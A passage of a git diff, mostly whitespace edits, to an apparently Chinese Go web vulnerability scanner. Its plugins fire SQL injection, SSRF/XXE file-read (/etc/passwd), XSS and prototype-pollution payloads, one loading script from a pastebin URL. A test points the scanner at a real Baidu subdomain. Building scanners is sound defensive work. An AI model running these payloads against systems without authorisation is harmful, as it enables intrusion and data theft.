可能有待优化 Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no. - + */ fmt.Println(sql.removeDynamicContent(text2)) } @@ -126,7 +126,7 @@ func TestRemove(t *testing.T) { func TestPayload(t *testing.T) { randomTestString := getErrorBasedPreCheckPayload() fmt.Println(randomTestString) - + fmt.Println(randomTestString + strconv.Itoa(util.RandomNumber(3, 5))) - + } diff --git a/scan/PerFile/sql/time.go b/scan/PerFile/sql/time.go index 3d18818..e007192 100644 --- a/scan/PerFile/sql/time.go +++ b/scan/PerFile/sql/time.go @@ -22,10 +22,10 @@ func (sql *Sqlmap) checkTimeBasedBlind(pos int) bool { return false } logging.Logger.Debugf("%s 网站的正常响应时间应小于: %v ms", sql.Url, standardRespTime) - + for _, closeType := range CloseType { payload := fmt.Sprintf(`%v/**/And/**/SleeP(%v)#`, closeType, standardRespTime*2/1000+3) - + for index, param := range sql.Variations.Params { if index == pos { payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, param.Value+payload, sql.Method) @@ -38,11 +38,11 @@ func (sql *Sqlmap) checkTimeBasedBlind(pos int) bool { } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { continue } - + if res.ServerDurationMs > standardRespTime+2000 { JieOutput.OutChannel <- JieOutput.VulMessage{ DataType: "web_vul", @@ -60,7 +60,7 @@ func (sql *Sqlmap) checkTimeBasedBlind(pos int) bool { Level: JieOutput.Critical, } logging.Logger.Debugf("存在基于时间的 SQL 注入: [参数名:%v 原值:%v]", param.Name, param.Value) - + return true } else { continue @@ -68,6 +68,6 @@ func (sql *Sqlmap) checkTimeBasedBlind(pos int) bool { } } } - + return false } diff --git a/scan/PerFile/sql/union.go b/scan/PerFile/sql/union.go index 3ddf22f..91972e4 100644 --- a/scan/PerFile/sql/union.go +++ b/scan/PerFile/sql/union.go @@ -23,14 +23,14 @@ func (sql *Sqlmap) checkUnionBased(pos int, closeType string) bool { if sql.guessColumnNum(pos, closeType) != -1 { return true } - + // 去除这种 // if sql.bruteColumnNum(pos, closeType) != -1 { // return true // } - + return false - + } // 猜列数, 有回显 @@ -39,7 +39,7 @@ func (sql *Sqlmap) guessColumnNum(pos int, closeType string) int { // OrderByMax := 100 // lowCols, highCols := 1, OrderByStep // found := false - + var ( payload string columnNum int @@ -48,7 +48,7 @@ func (sql *Sqlmap) guessColumnNum(pos int, closeType string) int { defaultRatio float64 = -1 resp *httpx.Response ) - + condition_1, defaultRatio, resp = sql.orderByTest(1, pos, closeType, defaultRatio) condition_2, defaultRatio, _ = sql.orderByTest(util.RandomNumber(9999, 999999), pos, closeType, defaultRatio) if condition_1 && !condition_2 { @@ -142,19 +142,19 @@ func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int { /* UPPER_COUNT - LOWER_COUNT *MUST* >= 5 */ LowerCount := 1 UpperCount := 15 - + err, standardRespTime := getNormalRespondTime(sql) - + if err != nil { // 因获取响应时间出错 不再继续测试时间盲注 logging.Logger.Debugln("尝试检测 TimBased-Blind响应时间失败") return -1 } - + randStr := `"` + util.RandomLetters(5) + `"` + "," - + ratios := make(map[int]float64) - + for index, param := range sql.Variations.Params { if index == pos { for i := LowerCount; i <= UpperCount; i++ { @@ -169,19 +169,19 @@ func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int { } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { logging.Logger.Debugln(sql.Url, "尝试检测 Union SQL Injection Payload 失败") continue } - + ratios[i-1] = strsim.Compare(res.Body, sql.TemplateBody) time.Sleep(time.Millisecond * 500) // 避免过于频繁请求导致速率被限制进而导致结果偏差 continue } } } - + var ( lowest = 1.0 highest = 0.0 @@ -189,7 +189,7 @@ func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int { highest_count = 0 distinguish float64 = -1 ) - + for _, value := range ratios { if value > highest { highest = value @@ -198,24 +198,24 @@ func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int { lowest = value } } - + var middle []float64 - + for _, value := range ratios { if value != highest && value != lowest { middle = append(middle, value) continue } - + if value == lowest { lowest_count = lowest_count + 1 } - + if value == highest { highest_count = highest_count + 1 } } - + if len(middle) == 0 && highest != lowest { if highest_count == 1 { distinguish = highest @@ -223,7 +223,7 @@ func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int { distinguish = lowest } } - + if distinguish != -1 { var columnNum = 0 for index, value := range ratios { @@ -231,12 +231,12 @@ func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int { columnNum = index + 1 } } - + md5Randstr := util.RandomLetters(5) for index, param := range sql.Variations.Params { if index == pos { payload = param.Value + closeType + `/**/UniOn/**/All/**/Select/**/` + strings.Repeat(fmt.Sprintf(`md5('%v'),`, md5Randstr), columnNum) - + payload = sql.Variations.SetPayloadByIndex(param.Index, sql.Url, strings.TrimRight(payload, ",")+"#", sql.Method) if payload == "" { continue @@ -250,7 +250,7 @@ func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int { if err != nil { continue } - + md5CheckVal := util.MD5(md5Randstr) if funk.Contains(res.ResponseDump, md5CheckVal) { JieOutput.OutChannel <- JieOutput.VulMessage{ @@ -268,14 +268,14 @@ func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int { }, Level: JieOutput.Critical, } - + logging.Logger.Debugln("UNION 列数经过ORDER BY 探测为 ", columnNum) return columnNum } } } } - + for index, param := range sql.Variations.Params { if index == pos { for i := LowerCount; i <= UpperCount; i++ { @@ -290,11 +290,11 @@ func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int { } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { continue } - + if res.ServerDurationMs > standardRespTime*2+1000 { JieOutput.OutChannel <- JieOutput.VulMessage{ DataType: "web_vul", @@ -320,13 +320,13 @@ func (sql *Sqlmap) bruteColumnNum(pos int, closeType string) int { } } } - + return -1 } func (sql *Sqlmap) orderByTest(number, pos int, closeType string, defaultRatio float64) (bool, float64, *httpx.Response) { var payload string - + for index, param := range sql.Variations.Params { if index == pos { payload = param.Value + closeType + `/**/ORDeR/**/bY/**/` + strconv.Itoa(number) + "#" @@ -341,22 +341,22 @@ func (sql *Sqlmap) orderByTest(number, pos int, closeType string, defaultRatio f } else { res, err = sql.Client.Request(sql.Url, sql.Method, payload, sql.Headers) } - + if err != nil { continue } - + // 每种检测方式都加上这个报错检测 sql.DBMS = checkDBMSError(sql.Url, param.Name, payload, res) if sql.DBMS != "" { return false, 0, nil } - + condition, dr := sql.comparison(res.Body, res.StatusCode, defaultRatio) - + math1, _ := util.MatchAnyOfRegexp([]string{"(warning|error):", "order (by|clause)", "unknown column", "failed"}, res.Body) math2, _ := util.MatchAnyOfRegexp([]string{"data types cannot be compared or sorted"}, res.Body) - + return !math1 && condition || math2, dr, res } } diff --git a/scan/PerFile/ssrf/ssrf.go b/scan/PerFile/ssrf/ssrf.go index ff1c54b..98f43e5 100644 --- a/scan/PerFile/ssrf/ssrf.go +++ b/scan/PerFile/ssrf/ssrf.go @@ -38,10 +38,10 @@ func (p *Plugin) Scan(target string, path string, in *input.CrawlResult, client debugStack := make([]byte, 1024) runtime.Stack(debugStack, false) logging.Logger.Errorf("Stack Trace:%v", string(debugStack)) - + } }() - + variations, err := httpx.ParseUri(in.Url, []byte(in.RequestBody), in.Method, in.ContentType, in.Headers) if err != nil { if strings.Contains(err.Error(), "data is empty") { @@ -51,7 +51,7 @@ func (p *Plugin) Scan(target string, path string, in *input.CrawlResult, client } return } - + var ssrfHost string var dnslog *reverse.Dig if conf.GlobalConfig.Reverse.Host != "" { @@ -64,25 +64,25 @@ func (p *Plugin) Scan(target string, path string, in *input.CrawlResult, client } else { ssrfHost = "https://www.baidu.com/" } - + // 1. 这里先对一些可以参数进行测试,如果找到了,就不再进行下面的测试 if ssrf(in, variations, ssrfHost, dnslog, client) { return } - + payloads := []string{"/etc/passwd", "c:/windows/win.ini"} - + if readFile(in, variations, payloads, client) { return } - + // 2. 如果没有找到,就对一些特殊的请求头进行测试,这里依赖于 dnslog 这里分两步: 这主要是防止请求头过多被拦截 // step1: 如果有特殊的请求头,就对特殊的请求头进行测试 // step2: 如果没有特殊的请求头,或者第一步没有测试出来,就对所有的危险请求头进行测试 if dangerHeader(in, client) { return } - + logging.Logger.Debugln(in.Url, "ssrf vulnerability not found") } @@ -107,7 +107,7 @@ func ssrf(in *input.CrawlResult, variations *httpx.Variations, payload string, d if !util.SliceInCaseFold(p.Name, sensitiveWords) { continue } - + payload = variations.SetPayloadByIndex(p.Index, in.Url, payload, in.Method) if payload == "" { continue @@ -120,12 +120,12 @@ func ssrf(in *input.CrawlResult, variations *httpx.Variations, payload string, d } else { res, err = client.Request(in.Url, in.Method, payload, in.Headers) } - + if err != nil { logging.Logger.Errorln(err) continue } - + isVul := false var desc = "" if dnslog != nil { @@ -135,7 +135,7 @@ func ssrf(in *input.CrawlResult, variations *httpx.Variations, payload string, d isVul = funk.Contains(res.Body, "百度一下,你就知道") desc = "百度一下,你就知道" } - + if isVul { output.OutChannel <- output.VulMessage{ DataType: "web_vul", @@ -173,18 +173,18 @@ func readFile(in *input.CrawlResult, variations *httpx.Variations, payloads []st logging.Logger.Debugln("ssrf ", payload) var res *httpx.Response var err error - + if in.Method == "GET" { res, err = client.Request(payload, in.Method, "", in.Headers) } else { res, err = client.Request(in.Url, in.Method, payload, in.Headers) } - + if err != nil { logging.Logger.Errorln(err) continue } - + if funk.Contains(res.Body, "root:x:0:0:root:/root:") || funk.Contains(res.Body, "root:[x*]:0:0:") || funk.Contains(res.Body, "; for 16-bit app support") { output.OutChannel <- output.VulMessage{ DataType: "web_vul", @@ -204,7 +204,7 @@ func readFile(in *input.CrawlResult, variations *httpx.Variations, payloads []st return true } } - + } return false } @@ -215,7 +215,7 @@ func dangerHeader(in *input.CrawlResult, client *httpx.Client) bool { if dnslog == nil { return false } - + // step1: 如果有特殊的请求头,就对特殊的请求头进行测试 for _, h := range conf.DangerHeaders { if in.Headers[h] != "" { @@ -225,17 +225,17 @@ func dangerHeader(in *input.CrawlResult, client *httpx.Client) bool { if header(in, dnslog, client) { return true } - + // step2: 如果没有特殊的请求头,或者第一步没有测试出来,就对所有的危险请求头进行测试 for _, h := range conf.DangerHeaders { in.Headers[h] = h + "." + dnslog.Domain } - + if header(in, dnslog, client) { return true } } - + return false } @@ -245,9 +245,9 @@ func header(in *input.CrawlResult, dnslog *reverse.Dig, client *httpx.Client) bo logging.Logger.Errorln(err) return false } - + isVul := reverse.PullLogs(dnslog) - + if isVul { output.OutChannel <- output.VulMessage{ DataType: "web_vul", diff --git a/scan/PerFile/xss/dom/hookparse.go b/scan/PerFile/xss/dom/hookparse.go index 0dcaf8c..ff076d2 100644 --- a/scan/PerFile/xss/dom/hookparse.go +++ b/scan/PerFile/xss/dom/hookparse.go @@ -4,7 +4,7 @@ import ( "fmt" "github.com/yhy0/logging" "runtime" - + "github.com/tdewolff/parse/v2" "github.com/tdewolff/parse/v2/js" ) @@ -27,13 +27,13 @@ func HookParse(code string) (string, error) { logging.Logger.Errorf("Stack Trace:%v", string(debugStack)) } }() - + ast, err := js.Parse(parse.NewInputString(code), js.Options{}) if err != nil { return "", err } convWalk(ast) - + return ast.String(), nil } @@ -124,12 +124,12 @@ func convExpr(node js.IExpr) js.IExpr { for i := range n.Args.List { n.Args.List[i].Value = convExpr(n.Args.List[i].Value) } - + if dot, ok := n.X.(*js.DotExpr); ok { args := js.Args{ List: make([]js.Arg, 2+len(n.Args.List)), } - + args.List[0] = js.Arg{Value: convExpr(dot.X)} args.List[1] = js.Arg{Value: &js.LiteralExpr{ TokenType: js.StringToken, @@ -211,7 +211,7 @@ func convWalk(n js.INode) { if n == nil { return } - + switch n := n.(type) { case *js.AST: convWalk(&n.BlockStmt) @@ -249,7 +249,7 @@ func convWalk(n js.INode) { if n.Body != nil { convWalk(n.Body) } - + n.Init = convExpr(n.Init) n.Cond = convExpr(n.Cond) n.Post = convExpr(n.Post) @@ -257,14 +257,14 @@ func convWalk(n js.INode) { if n.Body != nil { convWalk(n.Body) } - + n.Init = convExpr(n.Init) n.Value = convExpr(n.Value) case *js.ForOfStmt: if n.Body != nil { convWalk(n.Body) } - + n.Init = convExpr(n.Init) n.Value = convExpr(n.Value) case *js.CaseClause: @@ -273,7 +273,7 @@ func convWalk(n js.INode) { convWalk(n.List[i]) } } - + n.Cond = convExpr(n.Cond) case *js.SwitchStmt: if n.List != nil { @@ -281,7 +281,7 @@ func convWalk(n js.INode) { convWalk(&n.List[i]) } } - + n.Init = convExpr(n.Init) case *js.BranchStmt: return @@ -298,15 +298,15 @@ func convWalk(n js.INode) { if n.Body != nil { convWalk(n.Body) } - + if n.Catch != nil { convWalk(n.Catch) } - + if n.Finally != nil { convWalk(n.Finally) } - + convWalk(n.Binding) case *js.DebuggerStmt: return @@ -327,7 +327,7 @@ func convWalk(n js.INode) { // convWalk(&n.List[i]) // } // } - + // n.Decl = convExpr(n.Decl) return case *js.DirectivePrologueStmt: @@ -344,7 +344,7 @@ func convWalk(n js.INode) { // convWalk(&n.List[i]) // } // } - + // convWalk(n.Rest) return case *js.BindingObjectItem: @@ -352,7 +352,7 @@ func convWalk(n js.INode) { // if n.Key != nil { // convWalk(n.Key) // } - + // convWalk(&n.Value) return case *js.BindingObject: @@ -362,7 +362,7 @@ func convWalk(n js.INode) { // convWalk(&n.List[i]) // } // } - + // if n.Rest != nil { // convWalk(n.Rest) // } @@ -376,12 +376,12 @@ func convWalk(n js.INode) { n.List[i].Default = convExpr(n.List[i].Default) } } - + // convWalk(n.Rest) case *js.FuncDecl: convWalk(&n.Body) convWalk(&n.Params) - + // if n.Name != nil { // convWalk(n.Name) // } @@ -396,9 +396,9 @@ func convWalk(n js.INode) { // if n.Name != nil { // convWalk(n.Name) // } - + n.Extends = convExpr(n.Extends) - + if n.List != nil { for i := 0; i < len(n.List); i++ { convWalk(n.List[i].Field) @@ -419,7 +419,7 @@ func convWalk(n js.INode) { if n.Name != nil { convWalk(n.Name) } - + n.Value = convExpr(n.Value) n.Init = convExpr(n.Init) case *js.ObjectExpr: @@ -436,7 +436,7 @@ func convWalk(n js.INode) { convWalk(&n.List[i]) } } - + n.Tag = convExpr(n.Tag) case *js.GroupExpr: return @@ -453,13 +453,13 @@ func convWalk(n js.INode) { case *js.Args: case *js.NewExpr: case *js.CallExpr: - + case *js.UnaryExpr: - + case *js.BinaryExpr: - + case *js.CondExpr: - + case *js.YieldExpr: n.X = convExpr(n.X) case *js.ArrowFunc: diff --git a/scan/PerFile/xss/prototype.go b/scan/PerFile/xss/prototype.go index 0abcc9f..5a16bd2 100644 --- a/scan/PerFile/xss/prototype.go +++ b/scan/PerFile/xss/prototype.go @@ -92,7 +92,7 @@ var ppp = [4]string{ func Prototype(u string) { res := strings.Contains(u, "?") - + if res == true { queryEnum(u, `&`) } else { @@ -106,7 +106,7 @@ func Prototype(u string) { func queryEnum(u, quote string) bool { for _, p := range ppp { full_url := u + quote + p - + // run task list var res string err := chromedp.Run(*crawler.Browser.Ctx, @@ -117,33 +117,33 @@ func queryEnum(u, quote string) bool { if err != nil { continue } - + logging.Logger.Infoln("[Vulnerable]:", full_url) time.Sleep(1 * time.Second) - + // 具体的指纹检测 logging.Logger.Infoln("Fingerprinting the gadget...") - + var res1 string err1 := chromedp.Run(*crawler.Browser.Ctx, chromedp.Navigate(u), - //change the value 5 to a higher one if your internet connection is slow + // change the value 5 to a higher one if your internet connection is slow chromedp.Sleep(8*time.Second), chromedp.Evaluate(fingerprint, &res1), ) if err1 != nil { continue } - + logging.Logger.Infoln(full_url, " Gadget found: ", res1) time.Sleep(1 * time.Second) - - //vulnerable := true + + // vulnerable := true payloads := []string{} if strings.Contains(res, "default") { logging.Logger.Debugln(" No gadget found") logging.Logger.Debugln(" Website is vulnerable to Prototype Pollution, but not automatically exploitable") - //vulnerable = false + // vulnerable = false } else if strings.Contains(res, "Adobe Dynamic Tag Management") { payloads = append(payloads, u+quote+"__proto__[src]=data:,alert(1)//") } else if strings.Contains(res, "Akamai Boomerang") { @@ -226,7 +226,7 @@ func queryEnum(u, quote string) bool { } else if strings.Contains(res, "AMP") { payloads = append(payloads, u+quote+"__proto__.ampUrlPrefix=https://pastebin.com/raw/E9f7BSwb") } - + // 没有的话,手动测试 output.OutChannel <- output.VulMessage{ DataType: "web_vul", diff --git a/scan/PerFile/xss/syntaxAnalysis.go b/scan/PerFile/xss/syntaxAnalysis.go index 5b357a4..7bac502 100644 --- a/scan/PerFile/xss/syntaxAnalysis.go +++ b/scan/PerFile/xss/syntaxAnalysis.go @@ -30,17 +30,17 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { if funk.Contains("html", strings.ToLower(in.Resp.Header.Get("Content-Type"))) { return } - + // TODO 主动模式下 crawlergo 爬虫中爬到的参数也需要给过了 params := ast.GetParamsFromHtml(&in.Resp.Body, in.Url) - + // html 解析 中发现的参数、爬虫发现的参数、自定义高危参数 params = append(params, util.ExtractParameters(in.Url, in.Method, in.RequestBody, in.Headers)...) params = funk.UniqString(append(params, blindParams...)) - + var uri string payloads := make(map[string]string) - + for _, param := range params { if util.SliceInCaseFold(param, util.ParamFilter) { continue @@ -49,7 +49,7 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { payloads[param] = value uri += fmt.Sprintf("%s=%s&", param, value) } - + xssUrl := in.Url requestBody := in.RequestBody // 不能改变传入 in 的值,防止影响到其他插件 if in.Method == "GET" { @@ -57,17 +57,17 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } else { requestBody = strings.TrimRight(uri, "&") } - + res, err := client.Request(xssUrl, in.Method, requestBody, in.Headers) - + if err != nil { logging.Logger.Errorln(err) return } - + // 确定回显参数 var echoParams = make(map[string]int) - + // 格式化请求 variations, err := httpx.ParseUri(xssUrl, []byte(requestBody), in.Method, in.ContentType, in.Headers) if err != nil { @@ -78,7 +78,7 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } return } - + for index, param := range variations.Params { // 判断是否为不可更改的参数名,TODO 有没有更好的实现方式,不然每次都要手动写个判断 ,目前不能再 ParseUri 函数中写,不然发包时,参数会少 if util.SliceInCaseFold(param.Name, util.ParamFilter) { @@ -88,20 +88,20 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { echoParams[param.Name] = index } } - + // 有的会把输入的全部返回,这里判断一下,如果超过 20 回显参数,不测试了 if len(echoParams) > 20 { return } - + for param, index := range echoParams { // 确定回显位置 locations := ast.SearchInputInResponse(payloads[param], res.Body) - + if len(locations) == 0 { return } - + // 检测 xss for _, item := range locations { // logging.Logger.Debugln(util.StructToJsonString(item)) @@ -109,7 +109,7 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { if item.Details.Value.TagName == "style" { payload := fmt.Sprintf("expression(a(%s))", util.RandomLetters(6)) resp, tpayload := request(payload, index, xssUrl, in, variations, client) - + if resp != nil { _locations := ast.SearchInputInResponse(payload, resp.Body) for _, _item := range _locations { @@ -133,17 +133,17 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } } } - + flag := util.RandomLetters(7) - + // 闭合标签测试 payload := fmt.Sprintf("<%s>", util.RandomUpper(item.Details.Value.TagName), flag) - + // 真实可能触发 xss 的 payload (没发送) truepayload := fmt.Sprintf("<%s>", util.RandomUpper(item.Details.Value.TagName), "") - + resp, tpayload := request(payload, index, xssUrl, in, variations, client) - + if resp != nil { _locations := ast.SearchInputInResponse(flag, resp.Body) for _, _item := range _locations { @@ -166,16 +166,16 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } } } - + } else if item.Type == "attibute" { if item.Details.Value.Content == "key" { // test html flag := util.RandomLetters(7) payload := fmt.Sprintf("><%s ", flag) truepayload := ">" - + resp, tpayload := request(payload, index, xssUrl, in, variations, client) - + if resp != nil { _locations := ast.SearchInputInResponse(flag, resp.Body) for _, _item := range _locations { @@ -198,12 +198,12 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } } } - + // test attibutes flag = util.RandomLetters(5) payload = flag + "=" resp, tpayload = request(payload, index, xssUrl, in, variations, client) - + if resp != nil { _locations := ast.SearchInputInResponse(flag, resp.Body) for _, _item := range _locations { @@ -226,19 +226,19 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { break } } - + } } - + } else { // test attibutes flag := util.RandomLetters(5) for _, _payload := range []string{"'", "\"", " "} { payload := _payload + flag + "=" + _payload truepayload := fmt.Sprintf("%s onmouseover=prompt(1)%s", _payload, _payload) - + resp, tpayload := request(payload, index, xssUrl, in, variations, client) - + if resp != nil { _locations := ast.SearchInputInResponse(flag, resp.Body) for _, _item := range _locations { @@ -264,13 +264,13 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } } } - + // test html flag = util.RandomLetters(7) for _, _payload := range []string{"'><%s>", "\"><%s>", "><%s>"} { payload := fmt.Sprintf(_payload, flag) resp, tpayload := request(payload, index, xssUrl, in, variations, client) - + if resp != nil { _locations := ast.SearchInputInResponse(flag, resp.Body) for _, _item := range _locations { @@ -291,31 +291,31 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } break } - + } } - + } - + // 针对特殊属性进行处理 specialAttributes := []string{"srcdoc", "src", "action", "data", "href"} // 特殊处理属性 - + keyname := item.Details.Value.Attributes[0].Key - + if funk.Contains(specialAttributes, keyname) { flag = util.RandomLetters(7) resp, tpayload := request(flag, index, xssUrl, in, variations, client) - + if resp != nil { _locations := ast.SearchInputInResponse(flag, resp.Body) for _, _item := range _locations { if len(_item.Details.Value.Attributes) > 0 && _item.Details.Value.Attributes[0].Key == keyname && _item.Details.Value.Attributes[0].Val == flag { truepayload := flag - + if funk.Contains(specialAttributes, _item.Details.Value.Attributes[0].Key) { truepayload = "javascript:alert(1)" } - + output.OutChannel <- output.VulMessage{ DataType: "web_vul", Plugin: "XSS", @@ -332,14 +332,14 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } break } - + } } - + } else if keyname == "style" { payload := fmt.Sprintf("expression(a(%s))", util.RandomLetters(6)) resp, tpayload := request(payload, index, xssUrl, in, variations, client) - + if resp != nil { _locations := ast.SearchInputInResponse(payload, resp.Body) for _, _item := range _locations { @@ -390,14 +390,14 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } } } - + } else if item.Type == "comment" { flag := util.RandomLetters(7) - + for _, _payload := range []string{"-->", "--!>"} { payload := fmt.Sprintf("%s<%s>", _payload, flag) truepayload := fmt.Sprintf("%s<%s>", _payload, "svg onload=alert`1`") - + resp, tpayload := request(payload, index, xssUrl, in, variations, client) if resp != nil { _locations := ast.SearchInputInResponse(flag, resp.Body) @@ -422,15 +422,15 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } } } - + } else if item.Type == "script" { // test html flag := util.RandomLetters(7) script_tag := util.RandomUpper(item.Details.Value.TagName) - + payload := fmt.Sprintf("<%s>%s", script_tag, script_tag, flag, script_tag) truepayload := fmt.Sprintf("<%s>%s", script_tag, script_tag, "prompt(1)", script_tag) - + resp, tpayload := request(payload, index, xssUrl, in, variations, client) if resp != nil { _locations := ast.SearchInputInResponse(flag, resp.Body) @@ -454,11 +454,11 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { } } } - + // js 语法树分析反射 source := item.Details.Value.Content _locations := ast.SearchInputInScript(payloads[param], source) - + for _, _item := range _locations { if _item.Type == "InlineComment" { flag = util.RandomLetters(5) @@ -491,7 +491,7 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { break } } - + } } } else if _item.Type == "BlockComment" { @@ -561,14 +561,14 @@ func Audit(in *input.CrawlResult, client *httpx.Client) { if funk.Contains(__item.Details.Value.Content, payload) && __item.Type == "script" { resp2 = __item.Details.Value.Content } - + } } - + if resp2 == "" { continue } - + occurence := ast.SearchInputInResponse(flag, resp2) for _, _output := range occurence { if funk.Contains(_output.Details.Value.Content, flag) && _output.Type == "ScriptIdentifier" { @@ -606,7 +606,7 @@ func request(payload string, index int, target string, in *input.CrawlResult, va } else { resp, err = client.Request(target, in.Method, payload, in.Headers) } - + if err != nil { logging.Logger.Debugln(err) return nil, "" diff --git a/scan/PerFile/xxe/xxe.go b/scan/PerFile/xxe/xxe.go index 6a22e37..2ebfade 100644 --- a/scan/PerFile/xxe/xxe.go +++ b/scan/PerFile/xxe/xxe.go @@ -63,7 +63,7 @@ func (p *Plugin) Scan(target string, path string, in *input.CrawlResult, client } return } - + logging.Logger.Debugln(in.Url, "xxe vulnerability not found") } @@ -92,7 +92,7 @@ func startTesting(in *input.CrawlResult, client *httpx.Client) (*httpx.Response, } return nil, "", false } - + if variations != nil { header := in.Headers for _, p := range variations.Params { @@ -108,12 +108,12 @@ func startTesting(in *input.CrawlResult, client *httpx.Client) (*httpx.Response, } else { res, err = client.Request(in.Url, in.Method, originpayload, header) } - + logging.Logger.Debugln("payload:", originpayload) if err != nil { continue } - + if funk.Contains(res.ResponseDump, "root:x:0:0:root:/root:") || funk.Contains(res.ResponseDump, "root:[x*]:0:0:") || funk.Contains(res.ResponseDump, "; for 16-bit app support") { return res, originpayload, true } diff --git a/scan/PerFolder/iis/iis.go b/scan/PerFolder/iis/iis.go index d6ae7d9..78b7739 100644 --- a/scan/PerFolder/iis/iis.go +++ b/scan/PerFolder/iis/iis.go @@ -93,7 +93,7 @@ func (s *Scanner) Report() { } logging.Logger.Printf("%d Directories, %d Files found in total\nDirs: %v \nFile: %v\n", len(s.dirs), len(s.files), s.dirs, s.files) } - + } func (s *Scanner) scanWorker() { @@ -134,24 +134,24 @@ func (p *Plugin) Scan(target string, path string, in *input.CrawlResult, client if p.IsScanned(in.UniqueId) { return } - + // 这里应该根据指纹来搞,识别到了指纹才进行 Fuzz if !util.InSliceCaseFold("ASP", in.Fingerprints) { return } - + s, err := NewScanner(target) - + if err != nil { logging.Logger.Println("Error:", err) return } - + if !s.IsVul() { logging.Logger.Println("Sorry, server is not vulnerable") return } - + logging.Logger.Println("Server is vulnerable, please wait, scanning...") s.Run() s.Report() diff --git a/scan/PerFolder/log4j/log4j.go b/scan/PerFolder/log4j/log4j.go index a8c1f1b..8d663ed 100644 --- a/scan/PerFolder/log4j/log4j.go +++ b/scan/PerFolder/log4j/log4j.go @@ -25,7 +25,7 @@ func (p *Plugin) Scan(target string, path string, in *input.CrawlResult, client if p.IsScanned(in.UniqueId) { return } - + log4j.Scan(target, in.Method, in.RequestBody, client) } diff --git a/scan/PerFolder/traversal/nginxAliasTraversal.go b/scan/PerFolder/traversal/nginxAliasTraversal.go index cc739e5..63ffc63 100644 --- a/scan/PerFolder/traversal/nginxAliasTraversal.go +++ b/scan/PerFolder/traversal/nginxAliasTraversal.go @@ -66,7 +66,7 @@ func NginxAlias(url string, body string, path string) { path = strings.TrimPrefix(path, "/") // 检查默认字典加上 传来的路径 CheckFoldersForTraversal(url, util.RemoveDuplicateElement(append(dictionary, path))) - + // Check for alias traversal vulnerability (endpoint finding) if body == "" { resp, err := httpx.Get(url) @@ -76,7 +76,7 @@ func NginxAlias(url string, body string, path string) { } body = resp.Body } - + // 使用 findEndpoints 获取当前页面的所有路径,然后再跑一遍。 TODO 这种不太好,会导致重复扫描 CheckFoldersForTraversal(url, findEndpoints(body)) // Check for directory listing @@ -86,15 +86,15 @@ func NginxAlias(url string, body string, path string) { func CheckFolderForTraversal(url string, folder string) bool { resp, err := httpx.Get(url + folder + ".") - + if err != nil { return false } - + if resp.StatusCode == 404 { return false } - + if resp.StatusCode == 301 || resp.StatusCode == 302 { if strings.HasSuffix(resp.Location, folder+"./") { resp, err := httpx.Get(url + folder + "..") @@ -150,12 +150,12 @@ func CheckFolderForTraversal(url string, folder string) bool { func CheckFoldersForTraversal(url string, folders []string) { var wg sync.WaitGroup semaphore := make(chan struct{}, 10) - + // Use a bounded semaphore with a capacity of 'threads' for i := 0; i < 10; i++ { semaphore <- struct{}{} } - + for _, word := range folders { if word == "" { continue @@ -170,7 +170,7 @@ func CheckFoldersForTraversal(url string, folders []string) { wg.Done() }(word) } - + wg.Wait() } @@ -179,7 +179,7 @@ func MakeFolderEndpointsFromPath(path string) []string { // "/img/media/a.jpg" -> ["img", "img/media"] var endpoints []string var endpoint string - + // check if begins with https:// or http:// or // if strings.HasPrefix(path, "https://") || strings.HasPrefix(path, "http://") || strings.HasPrefix(path, "//") { // get path @@ -193,7 +193,7 @@ func MakeFolderEndpointsFromPath(path string) []string { path = path[1:] } } - + for _, word := range strings.Split(path, "/") { if word != "" { // check if last @@ -204,7 +204,7 @@ func MakeFolderEndpointsFromPath(path string) []string { if strings.Contains(word, "?") { word = strings.Split(word, "?")[0] } - + endpoint = endpoint + word + "/" endpointNoSlash := strings.TrimSuffix(endpoint, "/") if !util.InSlice(endpoints, endpointNoSlash) { @@ -231,7 +231,7 @@ func findEndpoints(html string) []string { } } foundEndpoints = append(foundEndpoints, src) - + } }) finalDirectoryEndpoints := []string{} diff --git a/scan/PerFolder/traversal/traversal_test.go b/scan/PerFolder/traversal/traversal_test.go index 3278501..a814081 100644 --- a/scan/PerFolder/traversal/traversal_test.go +++ b/scan/PerFolder/traversal/traversal_test.go @@ -18,13 +18,13 @@ func TestTraversal(t *testing.T) { logging.Logger = logging.New(true, "", "agent", false) conf.GlobalConfig = &conf.Config{} conf.GlobalConfig.Http.Proxy = "" - + // 获取扫描结果 go func() { for v := range output.OutChannel { logging.Logger.Infoln(aurora.Red(v.PrintScreen()).String()) } }() - + NginxAlias("https://md.huodong.baidu.com/", "", "") } diff --git a/scan/Pocs/apollo/apollo.go 